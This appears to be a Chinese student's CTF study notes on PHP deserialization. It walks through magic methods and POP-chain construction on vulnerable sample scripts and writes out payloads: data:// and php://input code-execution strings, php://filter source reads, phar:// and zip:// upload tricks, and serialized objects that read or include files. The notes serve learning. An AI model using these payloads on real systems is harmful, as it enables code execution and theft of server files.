1. 任务
1.1.1.1.1.1. 知识部分:
- RCE
- PHP文件上传
- PHP序列化和反序列化【POP链构造,phar反序列化,session反序列化问题,和字符串逃逸】
1.1.1.1.1.2. 题目部分:
- [SWPUCTF 2021 新生赛]ez_unserialize
- [SWPUCTF 2021 新生赛]no_wakeup
- [SWPUCTF 2022 新生赛]1z_unserialize
- [SQCTF] 逃 (学完字符串逃逸再完成)
1.1.1.1.1.3. 参考链接大佬
- [php反序列化从入门到放弃(入门篇) - bmjoker - 博客园]
- 【小迪安全】web安全个人学习笔记(2)文件上传 这个讲的比较全面,建议搭配靶场使用
- https://blog.csdn.net/qq_33181292/article/details/120296254
- 文件上传漏洞详解 - 渗透测试中心 - 博客园
- 橙子科技
2. 知识点学习
2.1. php反序列化
https://blog.csdn.net/tryqaaa_/article/details/159172832?spm=1001.2014.3001.5502
这篇是我最详细的解释,这里只是一个回顾总结,以及新添一些新的 知识点
2.1.1. 补充一些生涩词汇,如果不理解,查看此处。。
2.1.1.1.1. 实例化
将类(Class)这个抽象模板转化为可以实际使用的具体对象(Object)的过程。
比如:
# 1. 先定义类 class Car: def __init__(self, brand): self.brand = brand # 2. 实例化:创建两个具体的汽车对象 car1 = Car("比亚迪") car2 = Car("特斯拉") print(car1.brand) # 输出:比亚迪 print(car2.brand) # 输出:特斯拉这里Car("比亚迪")就是实例化过程,car1和car2就是Car类的两个独立实例对象。
2.1.1.1.2. 序列化和反序列化
序列化 |
|
反序列化 |
|
// 定义一个类 class User { public $name; public $age; public function __construct($name, $age) { $this->name = $name; $this->age = $age; } } // 1. 序列化:对象 -> 字符串 $user = new User("Bob", 22); $serialized_str = serialize($user); echo $serialized_str; // 输出:O:4:"User":2:{s:4:"name";s:3:"Bob";s:3:"age";i:22;} // 2. 反序列化:字符串 -> 对象 $new_user = unserialize($serialized_str); echo $new_user->name; // 输出:Bob小题外话:
__wakeup()在反序列化前使用__destruct()在反序列化后使用__destruct()实例化对象后使用
2.1.1.1.3. 对象分为三种
public,private,protected
- 使用public修饰进行序列化后,变量
$team的长度为4,正常输出。 - 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
- 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
- 受Private修饰的私有成员,序列化时:
\x00 + [私有成员所在类名] + \x00 [变量名] - 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
【"\x00"代表ASCII为0的值,即空字节】
2.1.1.1.4. 常见序列化标识
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string其中,比较常见的感觉:
a数组 i整数 s字符串 o类,对象
b布尔值 d小数
2.1.2. 魔术方法
2.1.2.1. 什么是魔术方法?
- 因为是在触发了某个事件之前或之后,魔法函数会自动调用执行
- PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
2.1.2.2. 常见的魔术方法【含思维导图】
方法名 | 作用 |
__construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值【实例化的时候】 |
__destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用【实例化结束之后】 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
__wakeup() | 使用 |
__sleep() | 使用 |
__destruct() | 对象被销毁时触发 |
__call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
__set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
__isset() | 当对不可访问属性调用isset()或empty()时触发 |
__unset() | 当对不可访问属性调用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
2.1.3. php反序列化漏洞(对象注入)
如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
https://www.cnblogs.com/bmjoker/p/13742666.html这里面有三个注入的示例
2.1.3.1.1. 例一:
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($p); // 反序列化同时触发_destruct函数 ?>最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。
当unserialize实行时,会自动执行__destruct()的内容
wp:test=cat flag;就是使用post方式post=你想要执行的命令即可
2.1.3.1.2. 例二:
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")) { echo "hello friend!<br>"; if(preg_match("/flag/",$file)) { echo "不能现在就给你flag哦"; exit(); } else { include($file); $password = unserialize($password); echo $password; } } else { echo "you are not the number of bugku ! "; } ?><?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>出现了三个变量,但是还是比较容易看的,
一个一个条件去满足,因为已经看到include($file);$password = unserialize($password);
并且在index.php用echo,将对象当作字符串,可以触发执行to_string()
2.1.3.1.2.1. 第一个变量txt
$txt = $_GET["txt"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))第一个要符合条件,
【错误的解答:?txt=welcome to the bugkuctf】
直接传字符串不行,因为file_get_contents第一个参数要求是文件名/资源路径,它会把你传入的字符串当成文件名去打开,而不是把它直接当成内容读取,所以会报错或者读不到正确结果。
正解:(要使用php伪协议)【小本本记下来,要去回顾php伪协议了】
https://www.leavesongs.com/PENETRATION/php-filter-magic.html这个提了Php伪协议,没看懂
有好多种协议编码方式
?txt=data://text/plain,welcome to the bugkuctf?txt=data://text/plain;base64,d2VsY29tZSB0byB0aGUgYnVna3VjdGY=(Base64编码形式)?txt=./文件名.txt(文件中含有这句话)
- GET参数传入:
?txt=php://input - 在POST请求Body中写入:
welcome to the bugkuctf
即可让file_get_contents读取到正确的内容。
2.1.3.1.2.2. 第二三个变量
2.1.3.1.3. 例三
<?php class test{ var $test = '123'; function __wakeup(){ $fp = fopen("flag.php","w"); fwrite($fp,$this->test); fclose($fp); } } $a = $_GET['id']; print_r($a); echo "</br>"; $a_unser = unserialize($a); require "flag.php"; ?>2.1.3.1.3.1. 代码审计
<?php class test{ // 公有属性 var $test = '123'; // 反序列化触发的魔术方法 function __wakeup(){ // 以写模式打开flag.php,不存在则创建,存在则覆盖原有内容 $fp = fopen("flag.php","w"); // 将当前对象的$test属性写入到flag.php fwrite($fp,$this->test); fclose($fp); } } // 直接获取用户可控输入,无任何过滤 $a = $_GET['id']; // 直接反序列化用户输入 $a_unser = unserialize($a); // 最终包含并执行写入后的flag.php require "flag.php"; ?>如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,
有可以直接生成的工具?https://www.jyshare.com/compile/1/【直接在php环境里面运行】
2.1.4. pop链
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。
2.1.4.1. 用的上的一些方法
2.1.4.1.1. PHP最常见的危险函数
- 命令执行:exec()、passthru()、popen()、system() - 文件操作:file_put_contents()、file_get_contents()、unlink() - 代码执行:eval()、assert()、call_user_func()2.1.4.1.1.1. 命令执行类
函数 | 核心作用 | 安全风险 |
| 执行外部系统命令,并直接输出结果 | 直接返回命令执行结果,最常用于一句话后门( |
| 执行外部系统命令,仅返回最后一行结果,完整结果存在第二个参数 | 需要通过输出参数获取全部结果,也常被用来执行系统命令 |
| 执行外部系统命令,将结果直接输出到浏览器,保留原生格式 | 和 |
| 打开进程文件指针,执行命令后返回文件句柄,需要配合 | 属于 扩展函数,常出现在代码审计题中,可用于绕过disable_functions限制 |
2.1.4.1.1.2. 文件操作类
函数 | 核心作用 | 安全风险 |
| 将字符串写入文件 | 如果用户可控写入内容,可以直接写入一句话木马,实现GetShell |
| 将整个文件读入字符串 | 1. 配合PHP伪协议读取任意文件源代码; 2. 可被用来绕过WAF; 3. 配合 |
| 删除文件 | 如果用户可控文件名,可删除任意服务器文件,配合竞争条件漏洞可删除哈希验证文件,绕过权限 |
2.1.4.1.1.3. 代码执行类
函数 | 核心作用 | 安全风险 |
| 把传入的字符串当作PHP代码执行 | 最经典的一句话后门函数:
直接执行任意PHP代码,危害极高 |
| 判断断言是否成立,参数如果是字符串,会被当作PHP代码执行 | PHP低版本中作用和eval几乎一致,是eval常见的替代品,常用于绕过WAF |
| 调用回调函数处理参数,第一个参数是可调用函数名,第二个是参数 | 攻击者可以控制回调函数为任意危险函数,以此实现代码/命令执行,比如 |
2.1.4.1.2. php伪协议
file://:访问本地文件系统,读取服务器本地文件,
不受allow_url_fopen/allow_url_include影响。
用法:?file=file:///var/www/html/flag.php,需要传入文件的绝对路径。
php://filter:元封装器,用于读取文件源码时做编码转换,不受配置限制,双off也能用,CTF中最常见。
经典读取源码payload:
?file=php://filter/read=convert.base64-encode/resource=index.php把目标文件源码base64编码后输出,直接拿到源码避免PHP解析执行。
php://input:读取POST请求的原始数据,配合文件包含可以直接执行POST中传入的PHP代码。
用法:GET传参?file=php://input,然后在POST body写入<?php system('ls');?>即可执行代码,要求allow_url_include=On。data://:直接将数据嵌入URL,可直接执行PHP代码,要求allow_url_include=On,PHP >= 5.2.0支持。
两种用法:
// 明文直接写 ?file=data://text/plain,<?php%20system('ls');?> // base64编码绕过过滤 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz4=phar://:访问PHP归档(PHAR)文件,核心用途是配合文件上传实现反序列化漏洞,对后缀无要求,PHP >= 5.3.0支持。
用法:?file=phar:///var/www/html/shell.jpg/shell,jpg后缀的压缩包也可以解析,用于绕过上传检测。zip://:访问ZIP压缩包内文件,需要用#分隔压缩包路径和内部文件路径,PHP >= 5.2.0支持。
用法:?file=zip://./shell.jpg#shell.phpcompress.zlib:///compress.bzip2://:分别访问zlib/bzip2压缩的文件,无需解压直接读取内部内容。
2.1.4.1.3. 大写S支持字符串的编码
2.1.4.1.4. 深浅拷贝
就是复制,
浅拷贝是“表面”,共用同一个地址,修改一个另一个也变$a=&$b;
深拷贝,二者独立,要用__clone()
2.1.4.2. pop链的一些例子,实操中
2.1.4.2.1. 例子一
<?php class main { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); //在创建main对象时,自动实例化一个normal类的对象,并把这个对象赋值给当前类的$ClassObj属性 } function __destruct() { $this->ClassObj->action(); //调用$ClassObj属性保存的对象的action()方法 } } class normal { function action() { echo "hello bmjoker"; } } class evil { private $data; function action() { eval($this->data); } } //$a = new main(); unserialize($_GET['a']); ?>当用户构造一个序列化字符串,让$ClassObj属性实例化为evil对象而不是normal对象时:
- 反序列化完成后,
main对象销毁时自动执行__destruct() __destruct()调用$ClassObj->action(),实际调用的就是evil类的action()evil类的action()执行eval($data),用户可控$data就实现了任意代码执行。
2.1.4.2.1.1. 问题点在于?
__contruct()的结果是normal,而不是evil,我要怎么去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的。
2.1.4.2.1.2. 然后我们可以开始编写pop链,脚本
https://www.jyshare.com/compile/1/
只是需要把需要改动的部分再先写出来,像normal啥的就可以不动,不写上去
同时注意$a = new main();echo serialize($a);记得输出以及新建对象
注意
在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。【原序列化字符串中的"、{、}等符号,直接放在URL参数里会被浏览器截断或解析错误,编码后会变成%22、%7B、%7D这类安全字符。】
可以直接将刚刚结果搞到其他网站上去,编码,
也可以在代码处修改,urlencode()
2.1.4.2.2. 例子二
<?php class MyFile { public $name; public $user; public function __construct($name, $user) { $this->name = $name; $this->user = $user; } public function __toString(){ return file_get_contents($this->name); //PHP的文件读取函数,会读取指定路径文件的全部内容,以字符串返回 } public function __wakeup(){ if(stristr($this->name, "flag")!==False) //stristr()是PHP的字符串查找函数 $this->name = "/etc/hostname"; //如果文件名包含flag,就强行把$name修改为Linux系统的/etc/hostname文件(存放主机名的系统文件), //这是一个WAF性质的过滤,不允许直接读取flag文件。 else $this->name = "/etc/passwd"; if(isset($_GET['user'])) { //isset()用来判断URL的GET参数中是否存在user参数。 $this->user = $_GET['user']; } } public function __destruct() { echo $this; } } if(isset($_GET['input'])){ $input = $_GET['input']; //输入口 if(stristr($input, 'user')!==False){ die('Hacker'); } else { unserialize($input); } }else { highlight_file(__FILE__); }2.1.4.2.2.1. 问题在于
关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。【本人没有注意到echo与to_string的关系】
读取的是$name的文件,但是输入口是input和user,无法直接控制name的值,所以此处使用了浅拷贝,通过对user值的改变,来改变name的值
input不可以出现user,则可以通过大小写绕过,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过【input相当于是对a的输入进行检测】
2.1.4.2.2.2. 构造pop链了
<?php class MyFile { public $name = '/etc/hosts'; public $user = ''; } $a = new MyFile(); $a->name = &$a->user; //新建对象和浅拷贝 $b = serialize($a); $b = str_replace("user", "use\\72", $b); $b = str_replace("s", "S", $b); //取代字母大小写,序列化进行验证 var_dump($b); ?>在url处输入结果?input=
D://1.txt,指向D盘根目录下名为1.txt的文本文件,要找flag,则去flag相对应位置文件上,改后面即可
2.1.4.2.3. 例子三
<?php class start_gg { public $mod1; public $mod2; //声明两个公有属性$mod1和$mod2,可被外部访问赋值。 public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) //__call是PHP魔术方法:当调用不存在/不可访问的方法时自动触发, //这里参数$test2就是调用的不存在的方法名,$arr是调用参数数组 { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() //__invoke是PHP魔术方法:当把对象当做函数执行时自动触发,承接上一步$s1()的调用 { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?>最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
2.1.4.2.3.1. 问题在于:
他十分的绕,用了很多的魔术方法。。
然后就得一步一步来,
string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
$this->str1 = new GetFlag()- 发现类func中存在
__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。
$this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()【这里本人出现一个误区,就是以为是在echo处才触发了这个string,没想到是在字符拼接的时候触发的这个_to-string ()】
- 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
$this->mod1 = new func() //将func类作为函数调用就会触发魔术方法__invoke()- 在Call中的test1方法中存在
$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
$this->mod1= new funct() //因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()- 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
$this->mod1= new Call()2.1.4.2.3.2. pop链的构造
这道题因为都是在构造一个new对象,就是在各类里头新增对象constuct
<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1 = new Call(); //把$mod1赋值为Call类对象 } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1 = new funct(); //把 $mod1赋值为funct类对象 } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func(); //把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1(); //把 $mod1赋值为string1类对象 } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public function __construct() { $this->str1= new GetFlag(); //把 $str1赋值为GetFlag类对象 } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $b = new start_gg; //构造start_gg类对象$b echo urlencode(serialize($b)); //显示输出url编码后的序列化对象结果如下面所示
2.1.4.2.4. 例子四
<?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?>先大概浏览了一下这个代码,迅速找到了这个include()危险函数,可以在此处进行代码审计
2.1.4.2.4.1. 问题在于
触发append——》__invoke()——》__get($key)——》__toString()——》__construct()
【这个链条要练到可以独自看出来,要调用get()的时候,注意到tostring的函数内容$this->str->source有误】
- Modifier类中append方法被
__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()。
最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()来return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。
$this->p = new Modifier()- Test类中的魔术方法
__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。
$this->str = new Test()- Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法
__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。
$a = new Show(); $this->source = $a;最终的调用链如下:
include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()2.1.4.2.4.2. pop链构造
注意,在写payload的时候,
<?php ?>
construct的出现,有新建的对象,
<?php class Modifier { protected $var = "D://1.txt"; } class Show{ public $source; public $str; } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $a = new Show(); $a->source = $a; $a->str = new Test(); echo urlencode(serialize($a)); ?>结果如下图所示:
3. 总结
3.1.1.1.1.1. 下周新任务
- php伪协议要去回顾(iscc也考了)
- php实际才学到php反序列化,下周从
Seesion继续开始学,
3.1.1.1.1.2. 学了个啥知识呢?
之前第一遍学习这个pop链,实际一直没有太明白,这次通过这三道反序列化的题目,知晓之前推反序列化简直就是乱来,,,学会了一丢丢写payload的感觉,下周将实操试试